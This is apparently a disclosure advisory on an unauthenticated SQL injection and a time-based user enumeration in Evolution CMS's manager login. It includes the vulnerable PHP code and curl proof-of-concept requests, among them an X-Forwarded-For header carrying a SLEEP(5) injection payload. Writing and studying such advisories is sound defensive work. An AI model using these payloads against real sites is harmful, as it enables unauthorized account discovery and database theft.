SYNACKTIV
DIGITAL SECURITY

Unauthenticated SQL injection
Time-based user enumeration

Security advisory

21/12/20

Nicolas BISCOS
Thomas ETRILLARD

Vulnerability description

Evolution CMS

Evolution is a professional website development tool that allows you to manage content (and the site itself) absolutely 100%! This system is open source, and therefore free. Unlike most free CMS (English Content Management System) - on EVO you can build a site of any complexity, with almost any set of functions, and the system will not in any way influence your html code.

https://evo.im/

The issue

Synacktiv identified two issues:

- an unauthenticated SQL Injection on the manager login page
- a time based user enumeration on the manager login page

Affected versions

Version <2.0.4 and <1.4.12 are vulnerable.

Timeline

Date	Action
21/12/20	Developer contacted using https://evo.im/bugs-and-security.html
21/12/20	Answer & very quick fix from the developer

Technical description and proof-of-concept

Unauthenticated SQL Injection on the manager interface

The application executes SQL queries containing user-controlled data. The processing previously carried out on this data does not make it possible to certify that it is harmless. If a user sends specially designed data to the application, this may lead to the semantics of the SQL query in question being modified before it is sent to the database.

When Evolution CMS logs actions on the manager interface, the *initAndWriteLog* function of the *logHandler* class is called. However, when inserting data in the database, the *IP* field is not cleaned and can be modified using the *X-Forwarded-For* header. The *initAndWriteLog* function is called when an account on the manager interface is blocked. Thus, a non-authenticated attacker, who has previously identified and then blocked an account, is able to exploit this SQL injection to retrieve the database data.

When an account on the manager interface is blocked, the following code is executed:

```
// file : manager/processors/login.processor.php
[...]
// blocked due to number of login errors.
if($failedlogins >= $failed_allowed && $blockeduntildate > time()) {
    @session_destroy();
    session_unset();
    if($cip = getenv("HTTP_CLIENT_IP")) {
        $ip = $cip;
    } elseif($cip = getenv("HTTP_X_FORWARDED_FOR")) {
        $ip = $cip;
    } elseif($cip = getenv("REMOTE_ADDR")) {
        $ip = $cip;
    } else {
        $ip = "UNKNOWN";
    }
    $log = new logHandler;
    $log->initAndWriteLog("Login Fail (Temporary Block)", $internalKey, $username, "119",
$internalKey, "IP: " . $ip);
    jsAlert($_lang['login_processor_many_failed_logins']);
    return;
}
```

initAndWriteLog initializes the log handler and processes the different items to be logged, and then calls the *writeToLog* function to write into the database:

```
// manager/includes/log.class.inc.php
[...]
    public function initAndWriteLog(
        $msg = "",
        $internalKey = "",
        $username = "",
        $action = "",
        $itemid = "",
        $itemname = ""
    ) {
        $modx = evolutionCMS();
        $this->entry['msg'] = $msg; // writes testmessage to the object
        $this->entry['action'] = empty($action) ? $modx->manager->action : $action;    //
writes the action to the object
        // User Credentials
        $this->entry['internalKey'] = $internalKey == "" ? $modx->getLoginUserID() :
```

```
$internalKey;
        $this->entry['username'] = $username == "" ? $modx->getLoginUserName() : $username;
        $this->entry['itemId'] = (empty($itemid) && isset($_REQUEST['id'])) ? (int)
$_REQUEST['id'] : $itemid;  // writes the id to the object
        if ($this->entry['itemId'] == 0) {
            $this->entry['itemId'] = "-";
        } // to stop items having id 0
        $this->entry['itemName'] = ($itemname == "" && isset($_SESSION['itemname'])) ?
$_SESSION['itemname'] : $itemname; // writes the id to the object
        if ($this->entry['itemName'] == "") {
            $this->entry['itemName'] = "-";
        } // to stop item name being empty
        $this->writeToLog();
        return;
    }
```

writeToLog retrieves the different items in the *entry* variable, cleans it with the *escape* function. However, the IP address of the user is retrieved using the *getUserIP* which returns the content of the *X-Forwarded-For* header without verification nor escaping special characters. This value is then forwarded to the *insert* function, which does not clean the input, leading to SQL injection:

```
// manager/includes/log.class.inc.php
[...]
  /**
     * function to write to the log collects all required info, and writes it to the
logging table
     *
     * @return void
     */
    public function writeToLog()
    {
[...]
        $fields['timestamp'] = time();
        $fields['internalKey'] = $modx->db->escape($this->entry['internalKey']);
        $fields['username'] = $modx->db->escape($this->entry['username']);
        $fields['action'] = $this->entry['action'];
        $fields['itemid'] = $this->entry['itemId'];
        $fields['itemname'] = $modx->db->escape($this->entry['itemName']);
        $fields['message'] = $modx->db->escape($this->entry['msg']);
        $fields['ip'] = $this->getUserIP();
        $fields['useragent'] = $_SERVER['HTTP_USER_AGENT'];

        $insert_id = $modx->db->insert($fields, $tbl_manager_log);
        if (!$insert_id) {
            $modx->messageQuit("Logging error: couldn't save log to table! Error code: " .
$modx->db->getLastError());
        } else {
            $limit = (isset($modx->config['manager_log_limit'])) ? (int)$modx-
>config['manager_log_limit'] : 3000;
            $trim = (isset($modx->config['manager_log_trim'])) ? (int)$modx-
>config['manager_log_trim'] : 100;
            if (($insert_id % $trim) === 0) {
                $modx->rotate_log('manager_log', $limit, $trim);
            }
        }
    }
    private function getUserIP() {
        if( array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) && !
empty($_SERVER['HTTP_X_FORWARDED_FOR']) ) {
            if (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',')>0) {
```

```
                $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
                return trim($addr[0]);
            } else {
                return $_SERVER['HTTP_X_FORWARDED_FOR'];
            }
        }
        else {
            return $_SERVER['REMOTE_ADDR'];
        }
    }
```

To trigger the vulnerability, an account on the manager interface must be blocked beforehand by issuing many invalid logins (in the example below, the *test* account). Then, the following request will trigger the *SLEEP(5)* instruction:

```
$ time curl -kis -H 'Accept-Language: shouldbepresent' -H "X-Forwarded-For: 1' AND (SELECT
SLEEP(5)) AND 'b" -d 'ajax=1&username=test&password=aaa&rememberme=1'
'http://172.17.0.2/manager/processors/login.processor.php'
HTTP/1.1 200 OK
Date: Tue, 08 Dec 2020 08:07:21 GMT
Server: Apache/2.4.46 (Unix)
X-Powered-By: PHP/7.3.22
P3P: CP="NOI NID ADMa OUR IND UNI COM NAV"
Cache-Control: private, must-revalidate
Set-Cookie: evol98z5x=hdkhtm5b1lmopn0dqulf7bv9kg; path=/; HttpOnly
Content-Length: 54
Content-Type: text/html; charset=UTF-8
Due to too many failed logins, you have been blocked!
real    0m5,047s
user    0m0,011s
sys    0m0,012s
```

Time-based user enumeration

The application behaves differently during the authentication phase that allows an attacker to find out the existence of an account. On the management interface (manager), you can determine the presence of a user based on the application's response time. Indeed, when the user does not exist, the application does not perform the full authentication process, and directly returns:

```
//file: manager/processors/login.processor.php
// initiate the content manager class
// for backward compatibility
$username = $modx->db->escape($modx->htmlspecialchars($_REQUEST['username'],
ENT_NOQUOTES));
$givenPassword = $modx->htmlspecialchars($_REQUEST['password'], ENT_NOQUOTES);
$captcha_code = $_REQUEST['captcha_code'];
$rememberme = $_REQUEST['rememberme'];
$failed_allowed = $modx->config['failed_login_attempts'];
// invoke OnBeforeManagerLogin event
$modx->invokeEvent('OnBeforeManagerLogin', array(
        'username' => $username,
        'userpassword' => $givenPassword,
        'rememberme' => $rememberme
    ));
$fields = 'mu.*, ua.*';
$from = '[+prefix+]manager_users AS mu, [+prefix+]user_attributes AS ua';
$where = "BINARY mu.username='{$username}' and ua.internalKey=mu.id";
$rs = $modx->db->select($fields, $from, $where);
$limit = $modx->db->getRecordCount($rs);
```

```
if($limit == 0 || $limit > 1) {
    jsAlert($_lang['login_processor_unknown_user']);
    return;
}
[…]
```

The consequence of this different processing is that the response time is very low when the user does not exist:

```
$ time curl -kis -H 'Accept-Language: shouldbepresent' -d
"ajax=1&username=doesnotexist&password=aaa&rememberme=1"
'http://172.17.0.2/manager/processors/login.processor.php'
[...]
Incorrect username or password entered!
real    0m0,008s
user    0m0,005s
sys    0m0,000s
```

While when it exists, the response time is slightly higher (because of the different SQL queries made, as well as the password hashing) and thus allows to find different valid accounts:

```
$ time curl -kis -H 'Accept-Language: shouldbepresent' -d
"ajax=1&username=test&password=aaa&rememberme=1"
'http://172.17.0.2/manager/processors/login.processor.php'
[...]
Incorrect username or password entered!
real    0m2,030s
user    0m0,006s
sys    0m0,000s
```